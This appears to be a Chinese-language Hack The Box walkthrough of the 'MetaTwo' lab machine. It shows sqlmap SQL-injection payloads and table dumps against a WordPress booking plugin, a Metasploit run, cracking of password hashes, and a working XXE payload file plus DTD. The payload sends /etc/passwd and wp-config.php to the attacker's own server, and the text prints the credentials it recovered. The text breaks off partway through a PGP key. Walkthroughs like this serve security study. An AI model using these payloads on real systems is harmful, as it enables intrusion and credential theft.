[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:31:57 /2024-09-15/

[15:31:57] [INFO] resuming back-end DBMS 'mysql'
[15:31:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: total_service (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=-3077) OR 8095=8095-- ISEb

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111) AND (SELECT 5120 FROM (SELECT(SLEEP(5)))WRSg)-- lhbW

Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111) UNION ALL SELECT NULL,CONCAT(0x717a767171,0x4253565341777451764c4358734e655958576c53574e484873657447514d6c4365647363534f6255,0x716a627671),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[15:31:57] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.18.0, PHP 8.0.24
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:31:57] [INFO] fetching tables for database: 'blog'
Database: blog
[27 tables]
+--------------------------------------+
| wp_bookingpress_appointment_bookings |
| wp_bookingpress_categories |
| wp_bookingpress_customers |
| wp_bookingpress_customers_meta |
| wp_bookingpress_customize_settings |
| wp_bookingpress_debug_payment_log |
| wp_bookingpress_default_daysoff |
| wp_bookingpress_default_workhours |
| wp_bookingpress_entries |
| wp_bookingpress_form_fields |
| wp_bookingpress_notifications |
| wp_bookingpress_payment_logs |
| wp_bookingpress_services |
| wp_bookingpress_servicesmeta |
| wp_bookingpress_settings |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+--------------------------------------+

[15:31:57] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/metapress.htb'

[*] ending @ 15:31:57 /2024-09-15/

表wp_users中存放着用户数据信息。对此表进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root@kali)-[/home/h4m5t/Desktop/HTB]
└─# sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111" -p total_service --level=5 --risk=3 -D blog -T wp_users --dump

Database: blog
Table: wp_users
[2 entries]
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| 1 | http://metapress.htb | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | admin@metapress.htb | admin | 0 | admin | admin | 2022-06-23 17:58:28 | <blank> |
| 2 | <blank> | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | manager@metapress.htb | manager | 0 | manager | manager | 2022-06-23 18:07:55 | <blank> |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+

[15:38:24] [INFO] table 'blog.wp_users' dumped to CSV file '/root/.local/share/sqlmap/output/metapress.htb/dump/blog/wp_users.csv'
[15:38:24] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/metapress.htb'

[*] ending @ 15:38:24 /2024-09-15/

得到了用户密码哈希。

1
2
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

方法2

使用exp: https://github.com/destr4ct/CVE-2022-0739/blob/main/booking-press-expl.py

运行,很快就出结果了:

1
2
3
4
5
6
7
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# python3 booking-press-expl.py -u http://metapress.htb/ -n 1d0870781e
- BookingPress PoC
-- Got db fingerprint: 10.5.15-MariaDB-0+deb11u1
-- Count of users: 2
|admin|admin@metapress.htb|$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.|
|manager|manager@metapress.htb|$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70|

方法3

msf一把梭:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
msf6 > search bookingpress

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/gather/wp_bookingpress_category_services_sqli 2022-02-28 normal Yes Wordpress BookingPress bookingpress_front_get_category_services SQLi


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/gather/wp_bookingpress_category_services_sqli

msf6 > use 0
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set RHOST metapress.htb
RHOST => metapress.htb
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set TARGETURI /events/
TARGETURI => /events/
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > run
[*] Running module against 10.129.231.241

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Extracting credential information
Wordpress User Credentials
==========================

Username Email Hash
-------- ----- ----
admin admin@metapress.htb $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager manager@metapress.htb $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

[*] Auxiliary module execution completed

爆破哈希

将哈希值保存到文件

1
2
3
4
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# cat user.hash
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

使用kali自带工具John The Ripper 对哈希进行爆破

爆破结果:

1
2
3
4
5
6
7
8
9
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt user.hash
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 128/128 ASIMD 4x2])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
partylikearockstar (manager)

用户名密码:

1
manager:partylikearockstar

利用XXE漏洞获得user_flag

用此密码登陆到默认目录:/wp-admin

根据网上查到到的信息,此版本的wordpress存在XXE漏洞CVE-2021-29447

https://wpscan.com/wordpress/562/

https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5/

https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/

https://tryhackme.com/r/room/wordpresscve202129447

We need two files, payload.wav and evil.dtd .

1
2
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.8:8080/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

Note: Make sure to input the IP of your tun0 interface in the above payload.

创建文件evil.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.8:8080/?p=%file;'>" >

利用python开启http服务器。

1
python3 -m http.server 8080

打开网页,向Wordpress Media Library中上传刚才创建的.wav文件

上传文件后,我们会在 Web 服务器上收到以下包含 base64 编码数据的请求。

upload

1
2
3
4
5
6
7
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.231.241 - - [15/Sep/2024 16:37:30] "GET /evil.dtd HTTP/1.1" 200 -
10.129.231.241 - - [15/Sep/2024 16:37:30] "GET /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -
10.129.231.241 - - [15/Sep/2024 16:37:30] "GET /evil.dtd HTTP/1.1" 200 -
10.129.231.241 - - [15/Sep/2024 16:37:30] "GET /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -

base64解码结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin

根据此结果判断,有个叫jnelson的普通用户存在。

修改evil.dtd文件内容,用于获取wp_config.php配置文件信息

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.8:8080/?p=%file;'>" >

重复上述上传过程,并解码返回的信息,得到如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

/**#@+
* Authentication Unique Keys and Salts.
* @since 2.6.0
*/
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
* WordPress Database Table prefix.
*/
$table_prefix = 'wp_';

/**
* For developers: WordPress debugging mode.
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

通过此信息,获得了FTP服务器的用户名和密码

1
2
username : metapress.htb
password : 9NYS_ii@FyL_p5M2NvJ

连接到FTP服务器:

1
2
3
4
5
6
7
8
9
10
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# ftp metapress.htb@$IP
Connected to 10.129.231.241.
220 ProFTPD Server (Debian) [::ffff:10.129.231.241]
331 Password required for metapress.htb
Password:
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

在 ftp 服务器中,找到了邮件服务器的源代码和一个向所有用户发送电子邮件的脚本send_mail.php,其中包含 jnelson 用户的凭据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ftp> ls
229 Entering Extended Passive Mode (|||15602|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 2022 blog
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 2022 mailer
226 Transfer complete
ftp> cd mailer
250 CWD command successful
ftp> ls
229 Entering Extended Passive Mode (|||2643|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 4 metapress.htb metapress.htb 4096 Oct 5 2022 PHPMailer
-rw-r--r-- 1 metapress.htb metapress.htb 1126 Jun 22 2022 send_email.php
226 Transfer complete
ftp> get send_email.php
local: send_email.php remote: send_email.php
229 Entering Extended Passive Mode (|||61637|)
150 Opening BINARY mode data connection for send_email.php (1126 bytes)
100% |**************************************************************| 1126 15.12 MiB/s 00:00 ETA
226 Transfer complete
1126 bytes received in 00:00 (145.75 KiB/s)

在ftp中使用get命令将此文件下载到本地查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;
$mail->isSMTP();

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;

$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";

$mail->addAddress("info@metapress.htb");

$mail->isHTML(true);

$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";

try {
$mail->send();
echo "Message has been sent successfully";
} catch (Exception $e) {
echo "Mailer Error: " . $mail->ErrorInfo;
}

结合之前获得的/etc/passwd文件,有个叫jnelson的用户存在,在此处获得了密码。

1
2
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";

利用ssh登陆:

1
ssh jnelson@$IP

flag1

获取到user_flag:

1
0a432515f485c621b015cefe55d1e72e

提权获得root_flag

查看到其中有一个隐藏文件夹passpie

1
2
3
4
5
6
7
8
9
10
11
jnelson@meta2:~$ ls -la
total 32
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 2022 .
drwxr-xr-x 3 root root 4096 Oct 5 2022 ..
lrwxrwxrwx 1 root root 9 Jun 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 jnelson jnelson 220 Jun 26 2022 .bash_logout
-rw-r--r-- 1 jnelson jnelson 3526 Jun 26 2022 .bashrc
drwxr-xr-x 3 jnelson jnelson 4096 Oct 25 2022 .local
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 2022 .passpie
-rw-r--r-- 1 jnelson jnelson 807 Jun 26 2022 .profile
-rw-r----- 1 root jnelson 33 Sep 15 05:47 user.txt

上网查到,这是一个python写的密码管理器。

根据官网文档,可以使用命令导出密码。

1
passpie export password.db

The .keys file contains gpg keys which contain the passpie passphrase.

1
2
3
4
5
6
7
jnelson@meta2://home/jnelson/.passpie$ ls -la
total 24
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 2022 .
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 2022 ..
-r-xr-x--- 1 jnelson jnelson 3 Jun 26 2022 .config
-r-xr-x--- 1 jnelson jnelson 5243 Jun 26 2022 .keys
dr-xr-x--- 2 jnelson jnelson 4096 Oct 25 2022 ssh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
jnelson@meta2://home/jnelson/.passpie$ cat .keys 
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
/GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
3LpAXxfk8C/qUCKcpxaz0G2k0do4+VTKZ+5UDpqM5++soJqhCrUYudb9zyVyXTpT
ZjMvyXe5NeC7JhBCKh+/Wqc4xyBcwhDdW+WU54vuFUthn+PUubEN1m+s13BkyvHV
gNAM4v6terRItXdKvgvHtJxE0vhlNSjFAedACHC4sN+dRqFu4li8XPIVYGkuK9pX
5xA6Nj+8UYRoZrP4SYtaDslT63ZaLd2MvwP+xMw2XEv8Uj3TGq6BIVWmajbsqkEp
tQkU7d+nPt1aw2sA265vrIzry02NAhxL9YQGNJmXFbZ0p8cT3CswedP8XONmVdxb
a1UfdG+soO3jtQsBAKbYl2yF/+D81v+42827iqO6gqoxHbc/0epLqJ+Lbl8hC/sG
WIVdy+jynHb81B3FIHT832OVi2hTCT6vhfTILFklLMxvirM6AaEPFhxIuRboiEQw
8lQMVtA1l+Et9FXS1u91h5ZL5PoCfhqpjbFD/VcC5I2MhwL7n50ozVxkW2wGAPfh
cODmYrGiXf8dle3z9wg9ltx25XLsVjoR+VLm5Vji85konRVuZ7TKnL5oXVgdaTML
qIGqKLQfhHwTdvtYOTtcxW3tIdI16YhezeoUioBWY1QM5z84F92UVz6aRzSDbc/j
FJOmNTe7+ShRRAAPu2qQn1xXexGXY2BFqAuhzFpO/dSidv7/UH2+x33XIUX1bPXH
FqSg+11VAfq3bgyBC1bXlsOyS2J6xRp31q8wJzUSlidodtNZL6APqwrYNhfcBEuE
PnItMPJS2j0DG2V8IAgFnsOgelh9ILU/OfCA4pD4f8QsB3eeUbUt90gmUa8wG7uM
FKZv0I+r9CBwjTK3bg/rFOo+DJKkN3hAfkARgU77ptuTJEYsfmho84ZaR3KSpX4L
/244aRzuaTW75hrZCJ4RxWxh8vGw0+/kPVDyrDc0XNv6iLIMt6zJGddVfRsFmE3Y
q2wOX/RzICWMbdreuQPuF0CkcvvHMeZX99Z3pEzUeuPu42E6JUj9DTYO8QJRDFr+
F2mStGpiqEOOvVmjHxHAduJpIgpcF8z18AosOswa8ryKg3CS2xQGkK84UliwuPUh
S8wCQQxveke5/IjbgE6GQOlzhpMUwzih7+15hEJVFdNZnbEC9K/ATYC/kbJSrbQM
RfcJUrnjPpDFgF6sXQJuNuPdowc36zjE7oIiD69ixGR5UjhvVy6yFlESuFzrwyeu
TDl0UOR6wikHa7tF/pekX317ZcRbWGOVr3BXYiFPTuXYBiX4+VG1fM5j3DCIho20
oFbEfVwnsTP6xxG2sJw48Fd+mKSMtYLDH004SoiSeQ8kTxNJeLxMiU8yaNX8Mwn4
V9fOIdsfks7Bv8uJP/lnKcteZjqgBnXPN6ESGjG1cbVfDsmVacVYL6bD4zn6ZN/n
WLQzUGFzc3BpZSAoQXV0by1nZW5lcmF0ZWQgYnkgUGFzc3BpZSkgPHBhc3NwaWVA
bG9jYWw+iJAEExEIADgWIQR8Z4anVhvIT1BIZx44d3XDV0XSAwUCYrhX1gIbIwUL
CQgHAgYVCgkICwIEFgIDAQIeAQIXgAAKCRA4d3XDV0XSA0RUAP91ekt2ndlvXNX6
